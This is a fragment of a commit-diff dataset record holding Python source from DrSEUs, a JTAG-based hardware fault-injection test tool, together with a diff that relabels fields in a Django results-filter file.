attempts-1:\n sleep(30)\n else:\n raise DrSEUsError(error.type)\n else:\n with self.db as db:\n db.log_event('Information', 'Debugger', 'Reset DUT')\n break\n else:\n self.dut.serial.write('\\x03')\n\n def halt_dut(self, halt_command, expected_output):\n self.command(halt_command, expected_output, 'Error halting DUT', False)\n with self.db as db:\n db.log_event('Information', 'Debugger', 'Halt DUT')\n\n def continue_dut(self, continue_command):\n self.command(continue_command, error_message='Error continuing DUT',\n log_event=False)\n with self.db as db:\n db.log_event('Information', 'Debugger', 'Continue DUT')\n\n def time_application(self):\n start = time()\n for i in range(self.options.iterations):\n if self.db.campaign['aux']:\n aux_process = Thread(\n target=self.aux.command,\n args=('./'+self.db.campaign['aux_command'], ))\n aux_process.start()\n dut_process = Thread(\n target=self.dut.command,\n args=('./'+self.db.campaign['command'], ))\n dut_process.start()\n if self.db.campaign['aux']:\n aux_process.join()\n if self.db.campaign['kill_dut']:\n self.dut.serial.write('\\x03')\n dut_process.join()\n end = time()\n self.db.campaign['exec_time'] = \\\n (end - start) / self.options.iterations\n with self.db as db:\n db.log_event('Information', 'Debugger', 'Timed application',\n campaign=True)\n\n def inject_faults(self):\n injection_times = []\n for i in range(self.options.injections):\n injection_times.append(uniform(0, self.db.campaign['exec_time']))\n injection_times = sorted(injection_times)\n for injection, injection_time in enumerate(injection_times, start=1):\n if self.options.debug:\n print(colored('injection time: '+str(injection_time),\n 'magenta'))\n if injection == 1:\n self.dut.write('./'+self.db.campaign['command']+'\\n')\n else:\n self.continue_dut()\n sleep(injection_time)\n self.halt_dut()\n mode = self.get_mode()\n target = choose_target(self.options.selected_targets, self.targets)\n register = choose_register(target, self.targets)\n injection = {'injection_number': injection,\n 'processor_mode': mode,\n 'register': register,\n 'result_id': self.db.result['id'],\n 'target': target,\n 'time': injection_time,\n 'timestamp': None}\n if ':' in target:\n injection['target_index'] = target.split(':')[1]\n target_index = int(injection['target_index'])\n target = target.split(':')[0]\n injection['target'] = target\n else:\n target_index = 0\n if 'memory_mapped' not in self.targets[target] or \\\n not self.targets[target]['memory_mapped']:\n self.select_core(target_index)\n if 'access' in self.targets[target]['registers'][register]:\n injection['register_access'] = \\\n self.targets[target]['registers'][register]['access']\n injection['gold_value'] = \\\n self.get_register_value(register, target, target_index)\n if 'bits' in self.targets[target]['registers'][register]:\n num_bits_to_inject = \\\n self.targets[target]['registers'][register]['bits']\n else:\n num_bits_to_inject = 32\n injection['bit'] = randrange(num_bits_to_inject)\n injection['injected_value'] = hex(\n int(injection['gold_value'], base=16) ^ (1 << injection['bit']))\n if self.options.debug:\n print(colored('target: '+target, 'magenta'))\n if 'target_index' in injection:\n print(colored('target_index: '+str(target_index),\n 'magenta'))\n print(colored('register: '+register, 'magenta'))\n print(colored('bit: '+str(injection['bit']), 'magenta'))\n print(colored('gold value: '+injection['gold_value'],\n 'magenta'))\n print(colored('injected value: ' +\n injection['injected_value'], 'magenta'))\n self.set_register_value(\n register, target, target_index, injection['injected_value'])\n if int(injection['injected_value'], base=16) == \\\n int(self.get_register_value(register, target, target_index),\n base=16):\n injection['success'] = True\n with self.db as db:\n db.insert('injection', injection)\n db.log_event('Information', 'Debugger', 'Fault injected')\n else:\n self.set_mode()\n self.set_register_value(\n register, target, target_index, injection['injected_value'])\n self.set_mode(injection['processor_mode'])\n injection['success'] = False\n if int(injection['injected_value'], base=16) == \\\n int(self.get_register_value(register, target, target_index),\n base=16):\n with self.db as db:\n db.insert('injection', injection)\n db.log_event('Warning', 'Debugger',\n 'Fault injected as supervisor')\n else:\n with self.db as db:\n db.insert('injection', injection)\n db.log_event('Warning', 'Debugger', 'Injection failed')\n return 0, False\n\n def command(self, command, expected_output, error_message,\n log_event, line_ending, echo):\n if log_event:\n with self.db as db:\n event = db.log_event('Information', 'Debugger', 'Command',\n command, success=False)\n expected_output = [bytes(output, encoding='utf-8')\n for output in expected_output]\n return_buffer = ''\n if error_message is None:\n error_message = command\n buff = self.telnet.read_very_eager().decode('utf-8', 'replace')\n if self.db.result:\n self.db.result['debugger_output'] += buff\n else:\n self.db.campaign['debugger_output'] += buff\n if self.options.debug:\n print(colored(buff, 'yellow'))\n if command:\n self.telnet.write(bytes(command+line_ending, encoding='utf-8'))\n if echo:\n index, match, buff = self.telnet.expect(\n [bytes(command, encoding='utf-8')], timeout=self.timeout)\n buff = buff.decode('utf-8', 'replace')\n else:\n buff = command+'\\n'\n if self.db.result:\n self.db.result['debugger_output'] += buff\n else:\n self.db.campaign['debugger_output'] += buff\n if self.options.debug:\n print(colored(buff, 'yellow'))\n if echo and index < 0:\n raise DrSEUsError(error_message)\n for i in range(len(expected_output)):\n index, match, buff = self.telnet.expect(expected_output,\n timeout=self.timeout)\n buff = buff.decode('utf-8', 'replace')\n if self.db.result:\n self.db.result['debugger_output'] += buff\n else:\n self.db.campaign['debugger_output'] += buff\n return_buffer += buff\n if self.options.debug:\n print(colored(buff, 'yellow'), end='')\n if index < 0:\n raise DrSEUsError(error_message)\n else:\n if self.options.debug:\n print()\n index, match, buff = self.telnet.expect(self.prompts,\n timeout=self.timeout)\n buff = buff.decode('utf-8', 'replace')\n if self.db.result:\n self.db.result['debugger_output'] += buff\n else:\n self.db.campaign['debugger_output'] += buff\n return_buffer += buff\n if self.options.debug:\n print(colored(buff, 'yellow'))\n with self.db as db:\n if self.db.result:\n db.update('result')\n else:\n db.update('campaign')\n if index < 0:\n raise DrSEUsError(error_message)\n for message in self.error_messages:\n if message in return_buffer:\n raise DrSEUsError(error_message)\n if log_event:\n with self.db as db:\n db.log_event_success(event)\n return return_buffer\n\n\nclass bdi(jtag):\n error_messages = ['syntax error in command',\n 'timeout while waiting for halt',\n 'wrong state for requested command', 'read access failed']\n\n def __init__(self, database, options):\n self.port = 23\n super().__init__(database, options)\n if options.jtag:\n self.connect_telnet()\n\n def __str__(self):\n string = ('BDI3000 at '+self.options.debugger_ip_address +\n ' port '+str(self.port))\n return string\n\n def close(self):\n if self.telnet:\n self.telnet.write(bytes('quit\\r', encoding='utf-8'))\n super().close()\n\n def reset_bdi(self):\n with self.db as db:\n event = db.log_event('Warning', 'Debugger', 'Reset BDI',\n success=False)\n self.telnet.write(bytes('boot\\r\\n', encoding='utf-8'))\n self.telnet.close()\n if self.db.result:\n self.db.result['debugger_output'] += 'boot\\n'\n else:\n self.db.campaign['debugger_output'] += 'boot\\n'\n sleep(1)\n self.connect_telnet()\n sleep(1)\n self.command(None, error_message='', log_event=False)\n with self.db as db:\n db.log_event_success(event)\n\n def reset_dut(self, expected_output, attempts):\n try:\n super().reset_dut(expected_output, 1)\n except DrSEUsError:\n self.reset_bdi()\n super().reset_dut(expected_output, max(attempts-1, 1))\n\n def get_mode(self):\n pass\n\n def set_mode(self, mode='supervisor'):\n pass\n\n def command(self, command, expected_output=[], error_message=None,\n log_event=True):\n return super().command(command, expected_output, error_message,\n log_event, '\\r\\n', False)\n\n def get_register_value(self, register, target, target_index):\n if 'memory_mapped' in self.targets[target] and \\\n self.targets[target]['memory_mapped']:\n command = 'md'\n if 'bits' in self.targets[target]['registers'][register]:\n bits = self.targets[target]['registers'][register]['bits']\n if bits == 8:\n command += 'b'\n elif bits == 16:\n command += 'h'\n elif bits == 64:\n command += 'd'\n address = self.targets[target]['base'][target_index] + \\\n self.targets[target]['registers'][register]['offset']\n buff = self.command(command+' '+hex(address)+' 1', [':'],\n 'Error getting register value')\n else:\n buff = self.command('rd '+register, [':'],\n 'Error getting register value')\n return buff.split('\\r')[0].split(':')[1].split()[0]\n\n def set_register_value(self, register, target, target_index, value):\n if 'memory_mapped' in self.targets[target] and \\\n self.targets[target]['memory_mapped']:\n command = 'mm'\n if 'bits' in self.targets[target]['registers'][register]:\n bits = self.targets[target]['registers'][register]['bits']\n if bits == 8:\n command += 'b'\n elif bits == 16:\n command += 'h'\n elif bits == 64:\n command += 'd'\n address = self.targets[target]['base'][target_index] + \\\n self.targets[target]['registers'][register]['offset']\n self.command(command+' '+hex(address)+' '+value+' 1',\n error_message='Error getting register value')\n else:\n self.command('rm '+register+' '+value,\n error_message='Error setting register value')\n\n\nclass bdi_arm(bdi):\n # BDI3000 with ZedBoard requires Linux kernel <= 3.6.0 (Xilinx TRD14-4)\n def __init__(self, database, options):\n self.prompts = ['A9#0>', 'A9#1>']\n self.targets = devices['a9_bdi']\n super().__init__(database, options)\n\n def reset_dut(self, attempts=5):\n super().reset_dut([\n '- TARGET: processing reset request',\n '- TARGET: BDI removes TRST',\n '- TARGET: Bypass check',\n '- TARGET: JTAG exists check passed',\n '- TARGET: BDI removes RESET',\n '- TARGET: BDI waits for RESET inactive',\n '- TARGET: Reset sequence passed',\n '- TARGET: resetting target passed',\n '- TARGET: processing target startup \\.\\.\\.\\.',\n '- TARGET: processing target startup passed'], attempts)\n\n def halt_dut(self):\n super().halt_dut('halt 3', [\n '- TARGET: core #0 has entered debug mode',\n '- TARGET: core #1 has entered debug mode'])\n\n def continue_dut(self):\n super().continue_dut('cont 3')\n\n def select_core(self, core):\n self.command('select '+str(core), ['Core number', 'Core state',\n 'Debug entry cause', 'Current PC',\n 'Current CPSR'],\n 'Error selecting core')\n\n\nclass bdi_p2020(bdi):\n def __init__(self, database, options):\n self.prompts = ['P2020>']\n self.targets = devices['p2020']\n super().__init__(database, options)\n\n def reset_dut(self, attempts=5):\n super().reset_dut([\n '- TARGET: processing user reset request',\n '- BDI asserts HRESET',\n '- Reset JTAG controller passed',\n '- JTAG exists check passed',\n '- BDI removes HRESET',\n '- TARGET: resetting target passed',\n '- TARGET: processing target startup \\.\\.\\.\\.',\n '- TARGET: processing target startup passed'], attempts)\n\n def halt_dut(self):\n super().halt_dut('halt 0 1', [\n '- TARGET: core #0 has entered debug mode',\n '- TARGET: core #1 has entered debug mode'])\n\n def continue_dut(self):\n super().continue_dut('go 0 1')\n\n def select_core(self, core):\n self.command('select '+str(core), ['Target CPU', 'Core state',\n 'Debug entry cause'],\n 'Error selecting core')\n\n\nclass openocd(jtag):\n error_messages = ['Timeout', 'Target not examined yet']\n modes = {'10000': 'usr',\n '10001': 'fiq',\n '10010': 'irq',\n '10011': 'svc',\n '10110': 'mon',\n '10111': 'abt',\n '11010': 'hyp',\n '11011': 'und',\n '11111': 'sys'}\n\n def __init__(self, database, options):\n\n def find_open_port():\n sock = socket(AF_INET, SOCK_STREAM)\n sock.bind(('', 0))\n port = sock.getsockname()[1]\n sock.close()\n return port\n\n # def __init__(self, database, options):\n options.debugger_ip_address = '127.0.0.1'\n self.prompts = ['>']\n self.targets = devices['a9']\n self.port = find_open_port()\n if options.jtag:\n serial = zedboards[find_uart_serials()[options.dut_serial_port]]\n self.openocd = Popen(['openocd', '-c',\n 'gdb_port 0; tcl_port 0; telnet_port ' +\n str(self.port)+'; interface ftdi; ftdi_serial'\n ' '+serial+';', '-f', 'openocd_zedboard.cfg'],\n stderr=(DEVNULL if options.command != 'openocd'\n else None))\n if options.command != 'openocd':\n with database as db:\n db.log_event('Information', 'Debugger', 'Launched openocd')\n super().__init__(database, options)\n if options.jtag:\n sleep(1)\n self.connect_telnet()\n\n def __str__(self):\n string = 'OpenOCD at localhost port '+str(self.port)\n return string\n\n def close(self):\n self.telnet.write(bytes('shutdown\\n', encoding='utf-8'))\n super().close()\n self.openocd.wait()\n with self.db as db:\n db.log_event('Information', 'Debugger', 'Closed openocd')\n\n def command(self, command, expected_output=[], error_message=None,\n log_event=True):\n return super().command(command, expected_output, error_message,\n log_event, '\\n', True)\n\n def reset_dut(self, attempts=10):\n super().reset_dut(\n ['JTAG tap: zynq.dap tap/device found: 0x4ba00477'], attempts)\n\n def halt_dut(self):\n super().halt_dut('halt', ['target state: halted']*2)\n\n def continue_dut(self):\n super().continue_dut('resume')\n\n def select_core(self, core):\n self.command('targets zynq.cpu'+str(core),\n error_message='Error selecting core')\n\n def get_mode(self):\n cpsr = int(self.get_register_value('cpsr', 'CPU', None), base=16)\n return self.modes[str(bin(cpsr))[-5:]]\n\n def set_mode(self, mode='svc'):\n modes = {value: key for key, value in self.modes.items()}\n mask = modes[mode]\n cpsr = int(self.get_register_value('cpsr', 'CPU', None), base=16)\n self.set_register_value('cpsr', 'CPU', None,\n hex(int(str(bin(cpsr))[:-5]+mask, base=2)))\n\n def get_register_value(self, register, target, target_index):\n if target == 'CP':\n buff = self.command(\n ' '.join([\n 'arm', 'mrc',\n str(self.targets[target]['registers'][register]['CP']),\n str(self.targets[target]['registers'][register]['Op1']),\n str(self.targets[target]['registers'][register]['CRn']),\n str(self.targets[target]['registers'][register]['CRm']),\n str(self.targets[target]['registers'][register]['Op2'])]),\n error_message='Error getting register value')\n return hex(int(buff.split('\\n')[1].strip()))\n else:\n buff = self.command('reg '+register, [':'],\n 'Error getting register value')\n return \\\n buff.split('\\n')[1].split(':')[1].split()[0]\n\n def set_register_value(self, register, target, target_index, value):\n if target == 'CP':\n self.command(\n ' '.join([\n 'arm', 'mrc',\n str(self.targets[target]['registers'][register]['CP']),\n str(self.targets[target]['registers'][register]['Op1']),\n str(self.targets[target]['registers'][register]['CRn']),\n str(self.targets[target]['registers'][register]['CRm']),\n str(self.targets[target]['registers'][register]['Op2']),\n value]),\n error_message='Error setting register value')\n else:\n self.command('reg '+register+' '+value,\n error_message='Error setting register value')\n"}, "/log/filters.py": {"changes": [{"diff": "\n return sorted(choices, key=fix_sort_list)\n \n aux_output = CharFilter(\n- label='AUX output',\n+ label='AUX console output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n", "add": 1, "remove": 1, "filename": "/log/filters.py", "badparts": [" label='AUX output',"], "goodparts": [" label='AUX console output',"]}, {"diff": "\n name='data_diff', label='Data diff (<)', lookup_type='lt',\n help_text='')\n debugger_output = CharFilter(\n- label='Debugger output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n", "add": 0, "remove": 1, "filename": "/log/filters.py", "badparts": [" label='Debugger output',"], "goodparts": []}, {"diff": "\n name='detected_errors', label='Detected errors (<)', lookup_type='lt',\n help_text='')\n dut_output = CharFilter(\n- label='DUT output',\n+ label='DUT console output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n+ dut_serial_port = MultipleChoiceFilter(\n+ label='DUT serial port',\n+ widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n event__description = CharFilter(\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n", "add": 4, "remove": 1, "filename": "/log/filters.py", "badparts": [" label='DUT output',"], "goodparts": [" label='DUT console output',", " dut_serial_port = MultipleChoiceFilter(", " label='DUT serial port',", " widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')"]}, {"diff": "\n label='Number of injections',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n outcome = MultipleChoiceFilter(\n- label='Outcome',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n outcome_category = MultipleChoiceFilter(\n- label='Outcome category',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n \n class Meta:\n model = result\n exclude = ('aux_serial_port', 'campaign', 'data_diff',\n- 'detected_errors', 'dut_serial_port', 'timestamp')\n+ 'detected_errors', 'timestamp')\n \n \n class simics_register_diff_filter(Filter", "add": 1, "remove": 3, "filename": "/log/filters.py", "badparts": [" label='Outcome',", " label='Outcome category',", " 'detected_errors', 'dut_serial_port', 'timestamp')"], "goodparts": [" 'detected_errors', 'timestamp')"]}], "source": "\nfrom django.forms import SelectMultiple, Textarea from django_filters import(BooleanFilter, CharFilter, FilterSet, MultipleChoiceFilter, NumberFilter) from re import split from.models import(event, injection, result, simics_register_diff) def fix_sort(string): return ''.join([text.zfill(5) if text.isdigit() else text.lower() for text in split('([0-9]+)', str(string))]) def fix_sort_list(list): return fix_sort(list[0]) class result_filter(FilterSet): def __init__(self, *args, **kwargs): campaign=kwargs['campaign'] del kwargs['campaign'] super().__init__(*args, **kwargs) event_type_choices=self.event_choices(campaign, 'event_type') self.filters['event__event_type'].extra.update( choices=event_type_choices) self.filters['event__event_type'].widget.attrs['size']=min( len(event_type_choices), 10) level_choices=self.event_choices(campaign, 'level') self.filters['event__level'].extra.update(choices=level_choices) self.filters['event__level'].widget.attrs['size']=min( len(level_choices), 10) source_choices=self.event_choices(campaign, 'source') self.filters['event__source'].extra.update(choices=source_choices) self.filters['event__source'].widget.attrs['size']=min( len(source_choices), 10) bit_choices=self.injection_choices(campaign, 'bit') self.filters['injection__bit'].extra.update(choices=bit_choices) self.filters['injection__bit'].widget.attrs['size']=min( len(bit_choices), 10) checkpoint_number_choices=self.injection_choices( campaign, 'checkpoint_number') self.filters['injection__checkpoint_number'].extra.update( choices=checkpoint_number_choices) self.filters['injection__checkpoint_number'].widget.attrs['size']=min( len(checkpoint_number_choices), 10) field_choices=self.injection_choices(campaign, 'field') self.filters['injection__field'].extra.update(choices=field_choices) self.filters['injection__field'].widget.attrs['size']=min( len(field_choices), 10) processor_mode_choices=self.injection_choices( campaign, 'processor_mode') self.filters['injection__processor_mode'].extra.update( choices=processor_mode_choices) self.filters['injection__processor_mode'].widget.attrs['size']=min( len(processor_mode_choices), 10) register_choices=self.injection_choices(campaign, 'register') self.filters['injection__register'].extra.update( choices=register_choices) self.filters['injection__register'].widget.attrs['size']=min( len(register_choices), 10) register_index_choices=self.injection_choices( campaign, 'register_index') self.filters['injection__register_index'].extra.update( choices=register_index_choices) self.filters['injection__register_index'].widget.attrs['size']=min( len(register_index_choices), 10) target_choices=self.injection_choices(campaign, 'target') self.filters['injection__target'].extra.update(choices=target_choices) self.filters['injection__target'].widget.attrs['size']=min( len(target_choices), 10) target_index_choices=self.injection_choices(campaign, 'target_index') self.filters['injection__target_index'].extra.update( choices=target_index_choices) self.filters['injection__target_index'].widget.attrs['size']=min( len(target_index_choices), 10) num_injections_choices=self.result_choices(campaign, 'num_injections') self.filters['num_injections'].extra.update( choices=num_injections_choices) self.filters['num_injections'].widget.attrs['size']=min( len(num_injections_choices), 10) outcome_choices=self.result_choices(campaign, 'outcome') self.filters['outcome'].extra.update(choices=outcome_choices) self.filters['outcome'].widget.attrs['size']=min( len(outcome_choices), 10) outcome_category_choices=self.result_choices( campaign, 'outcome_category') self.filters['outcome_category'].extra.update( choices=outcome_category_choices) self.filters['outcome_category'].widget.attrs['size']=min( len(outcome_category_choices), 10) def event_choices(self, campaign, attribute): choices=[] for item in event.objects.filter( result__campaign_id=campaign).values_list( attribute, flat=True).distinct(): if item is not None: choices.append((item, item)) return sorted(choices, key=fix_sort_list) def injection_choices(self, campaign, attribute): choices=[] for item in injection.objects.filter( result__campaign_id=campaign).values_list( attribute, flat=True).distinct(): if item is not None: choices.append((item, item)) return sorted(choices, key=fix_sort_list) def result_choices(self, campaign, attribute): choices=[] for item in result.objects.filter(campaign_id=campaign).values_list( attribute, flat=True).distinct(): if item is not None: choices.append((item, item)) return sorted(choices, key=fix_sort_list) aux_output=CharFilter( label='AUX output', lookup_type='icontains', widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}), help_text='') data_diff_gt=NumberFilter( name='data_diff', label='Data diff(>)', lookup_type='gt', help_text='') data_diff_lt=NumberFilter( name='data_diff', label='Data diff(<)', lookup_type='lt', help_text='') debugger_output=CharFilter( label='Debugger output', lookup_type='icontains', widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}), help_text='') detected_errors=NumberFilter( name='detected_errors', label='Detected errors(>)', lookup_type='gt', help_text='') detected_errors_lt=NumberFilter( name='detected_errors', label='Detected errors(<)', lookup_type='lt', help_text='') dut_output=CharFilter( label='DUT output', lookup_type='icontains', widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}), help_text='') event__description=CharFilter( lookup_type='icontains', widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}), help_text='') event__event_type=MultipleChoiceFilter( conjoined=True, label='Event type', widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') event__level=MultipleChoiceFilter( conjoined=True, widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') event__source=MultipleChoiceFilter( conjoined=True, widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') event__success=BooleanFilter(help_text='') injection__bit=MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') injection__checkpoint_number=MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') injection__field=MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') injection__processor_mode=MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') injection__register=MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') injection__register_index=MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') injection__success=BooleanFilter(help_text='') injection__target=MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') injection__target_index=MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') injection__time_gt=NumberFilter( name='time', label='Injection time(>)', lookup_type='gt', help_text='') injection__time_lt=NumberFilter( name='time', label='Injection time(<)', lookup_type='lt', help_text='') num_injections=MultipleChoiceFilter( label='Number of injections', widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') outcome=MultipleChoiceFilter( label='Outcome', widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') outcome_category=MultipleChoiceFilter( label='Outcome category', widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') class Meta: model=result exclude=('aux_serial_port', 'campaign', 'data_diff', 'detected_errors', 'dut_serial_port', 'timestamp') class simics_register_diff_filter(FilterSet): def __init__(self, *args, **kwargs): self.campaign=kwargs['campaign'] del kwargs['campaign'] super().__init__(*args, **kwargs) self.queryset=kwargs['queryset'] checkpoint_number_choices=self.simics_register_diff_choices( 'checkpoint_number') self.filters['checkpoint_number'].extra.update( choices=checkpoint_number_choices) self.filters['checkpoint_number'].widget.attrs['size']=min( len(checkpoint_number_choices), 10) register_choices=self.simics_register_diff_choices('register') self.filters['register'].extra.update(choices=register_choices) self.filters['register'].widget.attrs['size']=min( len(register_choices), 10) def simics_register_diff_choices(self, attribute): choices=[] for item in self.queryset.filter( result__campaign_id=self.campaign ).values_list(attribute, flat=True).distinct(): choices.append((item, item)) return sorted(choices, key=fix_sort_list) checkpoint_number=MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') register=MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') class Meta: model=simics_register_diff fields=('checkpoint_number', 'register') ", "sourceWithComments": "from django.forms import SelectMultiple, Textarea\nfrom django_filters import (BooleanFilter, CharFilter, FilterSet,\n MultipleChoiceFilter, NumberFilter)\nfrom re import split\n\nfrom .models import (event, injection, result, simics_register_diff)\n\n\ndef fix_sort(string):\n return ''.join([text.zfill(5) if text.isdigit() else text.lower() for\n text in split('([0-9]+)', str(string))])\n\n\ndef fix_sort_list(list):\n return fix_sort(list[0])\n\n\nclass result_filter(FilterSet):\n def __init__(self, *args, **kwargs):\n campaign = kwargs['campaign']\n del kwargs['campaign']\n super().__init__(*args, **kwargs)\n event_type_choices = self.event_choices(campaign, 'event_type')\n self.filters['event__event_type'].extra.update(\n choices=event_type_choices)\n self.filters['event__event_type'].widget.attrs['size'] = min(\n len(event_type_choices), 10)\n level_choices = self.event_choices(campaign, 'level')\n self.filters['event__level'].extra.update(choices=level_choices)\n self.filters['event__level'].widget.attrs['size'] = min(\n len(level_choices), 10)\n source_choices = self.event_choices(campaign, 'source')\n self.filters['event__source'].extra.update(choices=source_choices)\n self.filters['event__source'].widget.attrs['size'] = min(\n len(source_choices), 10)\n bit_choices = self.injection_choices(campaign, 'bit')\n self.filters['injection__bit'].extra.update(choices=bit_choices)\n self.filters['injection__bit'].widget.attrs['size'] = min(\n len(bit_choices), 10)\n checkpoint_number_choices = self.injection_choices(\n campaign, 'checkpoint_number')\n self.filters['injection__checkpoint_number'].extra.update(\n choices=checkpoint_number_choices)\n self.filters['injection__checkpoint_number'].widget.attrs['size'] = min(\n len(checkpoint_number_choices), 10)\n field_choices = self.injection_choices(campaign, 'field')\n self.filters['injection__field'].extra.update(choices=field_choices)\n self.filters['injection__field'].widget.attrs['size'] = min(\n len(field_choices), 10)\n processor_mode_choices = self.injection_choices(\n campaign, 'processor_mode')\n self.filters['injection__processor_mode'].extra.update(\n choices=processor_mode_choices)\n self.filters['injection__processor_mode'].widget.attrs['size'] = min(\n len(processor_mode_choices), 10)\n register_choices = self.injection_choices(campaign, 'register')\n self.filters['injection__register'].extra.update(\n choices=register_choices)\n self.filters['injection__register'].widget.attrs['size'] = min(\n len(register_choices), 10)\n register_index_choices = self.injection_choices(\n campaign, 'register_index')\n self.filters['injection__register_index'].extra.update(\n choices=register_index_choices)\n self.filters['injection__register_index'].widget.attrs['size'] = min(\n len(register_index_choices), 10)\n target_choices = self.injection_choices(campaign, 'target')\n self.filters['injection__target'].extra.update(choices=target_choices)\n self.filters['injection__target'].widget.attrs['size'] = min(\n len(target_choices), 10)\n target_index_choices = self.injection_choices(campaign, 'target_index')\n self.filters['injection__target_index'].extra.update(\n choices=target_index_choices)\n self.filters['injection__target_index'].widget.attrs['size'] = min(\n len(target_index_choices), 10)\n num_injections_choices = self.result_choices(campaign, 'num_injections')\n self.filters['num_injections'].extra.update(\n choices=num_injections_choices)\n self.filters['num_injections'].widget.attrs['size'] = min(\n len(num_injections_choices), 10)\n outcome_choices = self.result_choices(campaign, 'outcome')\n self.filters['outcome'].extra.update(choices=outcome_choices)\n self.filters['outcome'].widget.attrs['size'] = min(\n len(outcome_choices), 10)\n outcome_category_choices = self.result_choices(\n campaign, 'outcome_category')\n self.filters['outcome_category'].extra.update(\n choices=outcome_category_choices)\n self.filters['outcome_category'].widget.attrs['size'] = min(\n len(outcome_category_choices), 10)\n\n def event_choices(self, campaign, attribute):\n choices = []\n for item in event.objects.filter(\n result__campaign_id=campaign).values_list(\n attribute, flat=True).distinct():\n if item is not None:\n choices.append((item, item))\n return sorted(choices, key=fix_sort_list)\n\n def injection_choices(self, campaign, attribute):\n choices = []\n for item in injection.objects.filter(\n result__campaign_id=campaign).values_list(\n attribute, flat=True).distinct():\n if item is not None:\n choices.append((item, item))\n return sorted(choices, key=fix_sort_list)\n\n def result_choices(self, campaign, attribute):\n choices = []\n for item in result.objects.filter(campaign_id=campaign).values_list(\n attribute, flat=True).distinct():\n if item is not None:\n choices.append((item, item))\n return sorted(choices, key=fix_sort_list)\n\n aux_output = CharFilter(\n label='AUX output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n data_diff_gt = NumberFilter(\n name='data_diff', label='Data diff (>)', lookup_type='gt',\n help_text='')\n data_diff_lt = NumberFilter(\n name='data_diff', label='Data diff (<)', lookup_type='lt',\n help_text='')\n debugger_output = CharFilter(\n label='Debugger output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n detected_errors = NumberFilter(\n name='detected_errors', label='Detected errors (>)', lookup_type='gt',\n help_text='')\n detected_errors_lt = NumberFilter(\n name='detected_errors', label='Detected errors (<)', lookup_type='lt',\n help_text='')\n dut_output = CharFilter(\n label='DUT output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n event__description = CharFilter(\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n event__event_type = MultipleChoiceFilter(\n conjoined=True, label='Event type',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n event__level = MultipleChoiceFilter(\n conjoined=True,\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n event__source = MultipleChoiceFilter(\n conjoined=True,\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n event__success = BooleanFilter(help_text='')\n injection__bit = MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n injection__checkpoint_number = MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n injection__field = MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n injection__processor_mode = MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n injection__register = MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n injection__register_index = MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n injection__success = BooleanFilter(help_text='')\n injection__target = MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n injection__target_index = MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n injection__time_gt = NumberFilter(\n name='time', label='Injection time (>)', lookup_type='gt', help_text='')\n injection__time_lt = NumberFilter(\n name='time', label='Injection time (<)', lookup_type='lt', help_text='')\n num_injections = MultipleChoiceFilter(\n label='Number of injections',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n outcome = MultipleChoiceFilter(\n label='Outcome',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n outcome_category = MultipleChoiceFilter(\n label='Outcome category',\n widget=SelectMultiple(attrs={'style': 